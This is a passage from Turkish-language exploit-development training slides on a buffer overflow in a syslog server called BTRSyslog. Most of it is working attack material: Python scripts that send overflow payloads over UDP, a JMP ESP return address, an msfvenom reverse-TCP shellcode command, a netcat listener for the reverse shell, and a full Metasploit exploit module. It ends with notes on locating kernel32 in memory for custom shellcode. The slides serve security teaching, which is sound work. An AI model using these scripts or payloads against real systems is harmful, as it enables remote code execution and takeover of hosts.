  197. 197. #!/usr/bin/python import socket badchars = ("x01x02x03x04x05x06x07x08x09x0bx0cx0dx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20x21" "x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40x41" "x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60x61" "x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80x81" "x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0xa1" "xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0xc1" "xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0xe1" "xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff") buffer = "A" * 136 + "B" * 4 + badchars s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM) s.connect(('192.168.2.13', 514)) s.send(buffer) s.close "mona" ile oluşturduğumuz yeniden oluşturduğumuz "x00" ve "x0a" byte'larını içermeyen byte array'i yerleştirerek tekrar sunucumuza gönderiyoruz. KÖTÜ KARAKTERLER
  198. 198. KÖTÜ KARAKTERLER Yeni payload'umuzu denediğimizde ESP değerine tıklayarak "Follow in Stack" seçeneğini seçerek tekrar ESP'nin işaret ettiği bellek bölümündeki verileri aşağıda görebiliriz.
  199. 199. KÖTÜ KARAKTERLER !mona compare -f C:logsBTRSyslogbytearray.bin -a 06A5F500 Mona "x0d" byte'ının da kötü karakter olduğunu belirledi.
  200. 200. !mona bytearray -b "x00x0ax0d" "x0d" karakterini de kötü karakter olarak tanımlayarak yeni bir bytearray oluşturuyoruz. KÖTÜ KARAKTERLER
  201. 201. #!/usr/bin/python import socket badchars = ("x01x02x03x04x05x06x07x08x09x0bx0cx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20x21x22" "x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40x41x42" "x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60x61x62" "x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80x81x82" "x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0xa1xa2" "xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0xc1xc2" "xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0xe1xe2" "xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff") buffer = "A" * 136 + "B" * 4 + badchars s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM) s.connect(('192.168.2.13', 514)) s.send(buffer) s.close "mona" ile oluşturduğumuz yeni byte array'i yerleştirerek tekrar sunucumuza gönderiyoruz. KÖTÜ KARAKTERLER
  202. 202. KÖTÜ KARAKTERLER "x00", "x0a" ve "x0d" karakterlerini içermeyen byte array'i sunucuya gönderdiğimizde stack alanına yazılan veriler aşağıdaki gibi olacaktır. Şimdi tekrar bellek ve bytearray.bin dosyasının karşılaştırmasını yapalım.
  203. 203. KÖTÜ KARAKTERLER !mona compare -f C:logsBTRSyslogbytearray.bin -a 06AAF900 Son byte array'imizde herhangi bir kötü karakter yok, tüm payload'umuz belleğe eksiksiz yazıldı.
  204. 204. • Uygulama her belleğe yüklendiğinde STACK adresi değiştiğinden EIP değerini sabit bir STACK adresi ile ezemiyoruz. • Bu nedenle BTRSyslog proses'inin adres alanında yüklü ancak ASLR desteği bulunmayan bir modül içinde JMP ESP ve benzeri bir instruction bulmalı ve EIP değerini bu instruction'ın adresi olarak belirlemeliyiz. RETURN ADDRESS – JMP ESP
  205. 205. !mona modules ASLR desteği olmayan modüllere göz attığımızda BTRSysdll.dll modülünün aradığımız koşula uygun olduğunu görebiliyoruz. RETURN ADDRESS – JMP ESP
  206. 206. !mona find -type instr -s "jmp esp" -m BTRSysdll.dll "mona" bize aradığımız instruction'ın adresini bulmamızda da yardımcı oluyor. Normalde bu instruction'ın opcode'larını bularak binary bir arama yapmamız gerekirdi. Ancak "mona" bizim için bunu bile kendisi yapıyor. 0x5060103b RETURN ADDRESS – JMP ESP
  207. 207. • Bu adreste hangi instruction'ların bulunduğunu görmek istersek Go To Address butonuna tıklayarak ilgili adrese gidebiliriz. RETURN ADDRESS – JMP ESP
  208. 208. 5060103B FFE4 JMP ESP RETURN ADDRESS – JMP ESP
  209. 209. • "JMP ESP" adresini tespit ettiğimize göre artık uygulama akışına müdahale edebiliriz. • Payload'umuzun EIP register’ını ezdiği noktaya "JMP ESP" instruction'ının adresini yazarak uygulamayı bu noktaya yönlendireceğiz. • Buradaki dikkat edilmesi gereken nokta X86 mimarisi Little Endian veri formatını kullandığı için adresimizi payload'umuzun içine Little Endian formatında yazmamız gerektiğidir. 0x5060103b > Little Endian x3bx10x60x50 SHELLCODE
  210. 210. #!/usr/bin/python import socket buffer = "A" * 136 + "x3bx10x60x50" + "C" * 460 s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM) s.connect(('192.168.2.13', 514)) s.send(buffer) s.close EIP'yi ezdiğimiz alana Little Endian formatında "0x5060103b" değerini yazıyoruz. SHELLCODE
  211. 211. • "JMP ESP" işlemi gerçekleştiğinde "CC" karakterlerinin olduğu alana atlayacağız. Bu adımı gözlemlemek ve uygulama akışını payload'umuza yönlendirdiğimizden emin olabilmek için debugger'ımızda atlama adresimize "Breakpoint" koyabiliriz. • Bunu yapmadığımız taktirde uygulamamız hata alarak sonlanacak, çünkü yüklediğimiz payload işe yarar bir payload değil. SHELLCODE
  212. 212. Immunity debugger'ın alt kısmında bulunan komut satırından breakpoint tanımlayabilirsiniz. "b" düğmesine tıklayarak da breakpoint listesini görüntüleyebilirsiniz. SHELLCODE
  213. 213. Step into SHELLCODE
  214. 214. Follow in Dump - Selection SHELLCODE
  215. 215. • Breakpoint koymakla uğraşmak yerine şu şekilde de payload'umuza atlandığından emin olabilirdik. • "0xCC" değeri "INT 3", yani software breakpoint instruction'ı anlamına gelir. ASCII C (yani "0x43") karakterlerini yazdığımız alana bu değeri yazsaydık uygulama payload'umuza atladığı anda breakpoint uygulanabilirdi. SHELLCODE
  216. 216. #!/usr/bin/python import socket buffer = "A" * 136 + "x3bx10x60x50" + "xCC" * 460 s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM) s.connect(('192.168.2.13', 514)) s.send(buffer) s.close 0x43 değerine sahip olan ASCII C karakteri yerine Hex "CC" değerini yazıyoruz. Böylece uygulama akışı bu alana yönlendiğinde breakpoint işlemi gerçekleşecek. SHELLCODE
  217. 217. CC int3 Payload'umuz'un tam halini Follow in Dump yaparak gözlemleyebiliriz SHELLCODE
  218. 218. • Artık shellcode'umuzu üreterek payload'umuz içinde uygun yere yerleştirebiliriz. • Hedef sunucudan reverse TCP shell almak için msfvenom'un üreteceği bir shellcode'u kullanabiliriz. • Üreteceğimiz shellcode'un içinde kötü karakter bulunmaması için "-b" opsiyonunu kullanabiliriz. msfvenom -p windows/shell_reverse_tcp LHOST=192.168.x.x LPORT=4445 -e x86/shikata_ga_nai -f c -b "x00x0ax0d" SHELLCODE
  219. 219. SHELLCODE
  220. 220. • Msfvenom yaklaşık 350 byte uzunluğunda bir shellcode oluşturdu. • Bu shellcode’u daha önce stack alanına yazdırdığımız ‘C’ karakterlerinin yerini alacak şekilde scriptimizi revize ediyoruz. • Oluşturduğumuz shellcode çalışırken belirtilen stack alanının ilk bir kaç bytelık bölümünü eziyor. Bu durumun shellcode'u bozmasını engellemek için shellcode'umuzun önünde ("0x90") NOP instruction'larından bir tampon alan oluşturacağız. • NOP instruction'ını etkisiz bir komut olarak düşünebilirsiniz (XCHG EAX, EAX). SHELLCODE
  221. 221. NOP Sled Shellcode SHELLCODE
  222. 222. • Son adım olarak Kali üzerinde NetCat ile TCP 4445 portundan dinleyecek bir servis başlatacağız. • Bu hazırlıktan sonra exploit kodumuzu çalıştırarak reverse shell alabiliriz. # nc -lvp 4445 REVERSE SHELL
  223. 223. REVERSE SHELL
  224. 224. • Mevcut açıklıktan daha kolay faydalanabilmek için, oluşturduğumuz exploit kodunu metasploit üzerine ekleyeceğiz. • Bu işlem için öncelikle örnek bir metasploit exploit kodu bulalım. • Metasploit içerisinde bulunan kodlar Ruby dile ile yazılmış olup, metasploit tarafından özel olarak hazırlanmış kütüphaneleri kullanmaktadırlar. METASPLOIT ÜZERİNE EXPLOIT EKLEME
  225. 225. require 'msf/core' class MetasploitModule< Msf::Exploit::Remote Rank = NormalRanking include Exploit::Remote::Udp def initialize(info= {}) super(update_info(info, 'Name' => 'BTRSyslog Remote Exploit', 'Description' => %q{BTRSyslog Buffer Overflow}, 'License' => MSF_LICENSE, 'Author' => ['Emre Karadeniz',], 'References' => [[ 'http://www.btrisk.com'],], 'DefaultOptions' => {'EXITFUNC' => 'thread',}, 'Payload' => {'BadChars' => "x00x0ax0d",}, 'Platform' => 'win', 'Targets' => [ ['Tum Windows Isletim Sistemleri', { 'Ret' => 0x5060103B, 'Offset' => 136 }], ], 'DisclosureDate' => 'October 29 2023', 'DefaultTarget' => 0)) register_options([Opt::RPORT(514),],self.class) end #Exploit isleminintanimlandigi bolum def exploit connect_udp sploit = rand_text_alpha(target['Offset'], bad = payload_badchars) sploit << [target.ret].pack('V') sploit << make_nops(16) sploit << payload.encoded udp_sock.put(sploit) handler disconnect_udp end end btrsyslog.rb JMP ESP adresi Offset değeri METASPLOIT ÜZERİNE EXPLOIT EKLEME
  226. 226. btrsyslog.rb 136 byte'lık random karakter, ancak kötü karakter içermemeli Handler'ı başlatıyoruz JMP ESP atlama adresi 16 adet NOP instruction'ı PAYLOAD Payload'u gönderiyoruz METASPLOIT ÜZERİNE EXPLOIT EKLEME
  227. 227. • Scriptimiz btrsyslog.rb ismiyle kaydediyoruz ve /usr/share/metasploit- framework/modules/exploits/windows/misc dizinine kopyalıyoruz. • Msfconsole komutu ile metasploit framework’u çalıştırıyoruz. • Kodumuzda herhangi bir hata olması durumda msfconsole bizi uyaracaktır. /usr/share/metasploit- framework/modules/exploits/windows/misc/ btrsyslog.rb METASPLOIT ÜZERİNE EXPLOIT EKLEME
  228. 228. btrsyslog.rb script'imizi ilgili Metasploit dizinine kopyalıyoruz. METASPLOIT ÜZERİNE EXPLOIT EKLEME
  229. 229. Eğer script'imiz Metasploit'in kurallarına uygun değilse yukarıdaki gibi bir uyarı görebilirsiniz. Bu durumda script'iniz yüklenmeyecektir. METASPLOIT ÜZERİNE EXPLOIT EKLEME
  230. 230. "search btrsyslog" komutu ile script'imizi arayalım METASPLOIT ÜZERİNE EXPLOIT EKLEME
  231. 231. "show options" komutu ile script'imizin belirlenmesi gereken parametrelerini görelim METASPLOIT ÜZERİNE EXPLOIT EKLEME
  232. 232. RHOST parametresini hedef sunucumuz olarak belirledikten sonra öntanımlı payload olan meterpreter reverse TCP payload'u ile erişim sağlayabiliriz METASPLOIT ÜZERİNE EXPLOIT EKLEME
  233. 233. • Kullandığımız shellcode hazır bir shellcode, dolayısıyla shellcode'u belleğe yazma alanımız kısıtlıysa veya güvenlik çözümlerinden kaçınabilmek istiyorsak shellcode geliştirme yeteneğimizin bulunması gerekir. • Shellcode derlenen bir kodun sahip olduğu pekçok avantaja sahip olmayıp belleğin hangi noktasında kendisini bulursa bulsun yolunu bulabileceği yeteneğe sahip olmak zorundadır. Bu da shellcode geliştirecek kişinin Assembly dilini bilmesinin yanı sıra bir uygulama belleğe yüklendiğinde proses ile ilgili oluşan belli veri yapılarını bilmesini gerektirir. EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ
  234. 234. EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ THREAD ENVIRONMENT BLOCK (TEB) • Adım-1: PEB’in adresinin bulunması 0:000> !teb TEB at 7efdd000 ExceptionList: 0026f814 StackBase: 00270000 StackLimit: 0026e000 SubSystemTib: 00000000 FiberData: 00001e00 ArbitraryUserPointer: 00000000 Self: 7efdd000 EnvironmentPointer: 00000000 ClientId: 00001920 . 00001928 RpcHandle: 00000000 Tls Storage: 7efdd02c PEB Address: 7efde000 LastErrorValue: 0 LastStatusValue: 0 Count Owned Locks: 0 HardErrorMode: 0 fs:[0] fs:[30] 0x30 KERNEL32.DLL MODÜLÜNÜ BELLEKTE BULMAK
  235. 235. EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ PROCESS ENVIRONMENT BLOCK (PEB) • Adım-2: _PEB_LDR_DATA veri yapısının bulunması 0:000> dt nt!_peb 7efde000 ntdll!_PEB +0x000 InheritedAddressSpace : 0 '' +0x001 ReadImageFileExecOptions : 0 '' +0x002 BeingDebugged : 0x1 '' +0x003 BitField : 0x8 '' +0x003 ImageUsesLargePages : 0y0 +0x003 IsProtectedProcess : 0y0 +0x003 IsLegacyProcess : 0y0 +0x003 IsImageDynamicallyRelocated : 0y1 +0x003 SkipPatchingUser32Forwarders : 0y0 +0x003 SpareBits : 0y000 +0x004 Mutant : 0xffffffff Void +0x008 ImageBaseAddress : 0x01380000 Void +0x00c Ldr : 0x77240200 _PEB_LDR_DATA +0x010 ProcessParameters : 0x002f2178 _ .... fs:[30] 0x0c KERNEL32.DLL MODÜLÜNÜ BELLEKTE BULMAK
  236. 236. EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ _PEB_LDR_DATA • Adım-3: Modül zincir listelerinin bulunması 0:000> dt _PEB_LDR_DATA 0x77240200 ntdll!_PEB_LDR_DATA +0x000 Length : 0x30 +0x004 Initialized : 0x1 '' +0x008 SsHandle : (null) +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x2f4cf8 - 0x2f5990 ] +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x2f4d00 - 0x2f5998 ] +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x2f4d98 - 0x2f59a0 ] +0x024 EntryInProgress : (null) +0x028 ShutdownInProgress : 0 '' +0x02c ShutdownThreadId : (null) 0x1c KERNEL32.DLL MODÜLÜNÜ BELLEKTE BULMAK
  237. 237. EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ MODÜL ZİNCİR LİSTESİ • Adım-4: Başlatılma sırasına göre modül zincir listesinin izlenmesi 0:000> dt _LIST_ENTRY 0x7724021c ntdll!_LIST_ENTRY [ 0x2f4d98 - 0x2f59a0 ] +0x000 Flink : 0x002f4d98 _LIST_ENTRY [ 0x2f5230 - 0x7724021c ] +0x004 Blink : 0x002f59a0 _LIST_ENTRY [ 0x7724021c - 0x2f5118 ] 0:000> dt _LIST_ENTRY 0x002f4d98 ntdll!_LIST_ENTRY [ 0x2f5230 - 0x7724021c ] +0x000 Flink : 0x002f5230 _LIST_ENTRY [ 0x2f5118 - 0x2f4d98 ] +0x004 Blink : 0x7724021c _LIST_ENTRY [ 0x2f4d98 - 0x2f59a0 ] 0:000> dt _LIST_ENTRY 0x002f5230 ntdll!_LIST_ENTRY [ 0x2f5118 - 0x2f4d98 ] +0x000 Flink : 0x002f5118 _LIST_ENTRY [ 0x2f59a0 - 0x2f5230 ] +0x004 Blink : 0x002f4d98 _LIST_ENTRY [ 0x2f5230 - 0x7724021c ] 1 2 3 KERNEL32.DLL MODÜLÜNÜ BELLEKTE BULMAK
  238. 238. EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ MODÜL ADI • Adım-5: Modül adının bulunması 0:000> dd 0x002f4d98 + 20 002f4db8 77185bc4 00004004 0000ffff 002f59cc 002f4dc8 772448e0 521ea8e7 00000000 00000000 0:000> db 77185bc4 77185bc4 6e 00 74 00 64 00 6c 00-6c 00 2e 00 64 00 6c 00 n.t.d.l.l...d.l. 77185bd4 6c 00 00 00 14 00 16 00-e0 5b 18 77 5c 00 53 00 l........[.w.S. 77185be4 59 00 53 00 54 00 45 00-4d 00 33 00 32 00 5c 00 Y.S.T.E.M.3.2.. 77185bf4 00 00 90 90 90 90 90 8b-ff 55 8b ec 51 51 83 65 .........U..QQ.e 77185c04 fc 00 53 56 8b 35 0c 02-24 77 57 81 fe 0c 02 24 ..SV.5..$wW....$ 77185c14 77 74 31 8d 45 f8 50 6a-09 8b fe 8b 36 6a 01 ff wt1.E.Pj....6j.. KERNEL32.DLL MODÜLÜNÜ BELLEKTE BULMAK
  239. 239. EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ (+0x3c) Yeni EXE Header Offseti IMAGE DOS HEADER (+0x78) EXPORT Table IMAGE OPTIONAL HEADER (+0x20) Name Pointer Table RVA IMAGE EXPORT DIRECTORY # Function Name RVA EXPORT Name Pointer Table Function Ordinal EXPORT Ordinal Table Function RVA EXPORT Address Table WinExec Fonksiyon RVA Adresi + Modül Baz Adresi = Fonksiyon VA Adresi Modül Baz Adresi (+0x24) (+0x1c) Sayaç: # of Functions (+0x14) BİR MODÜL İÇİNDE BİR FONKSİYONUN ADRESİNİ BULMAK
  240. 240. EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ

×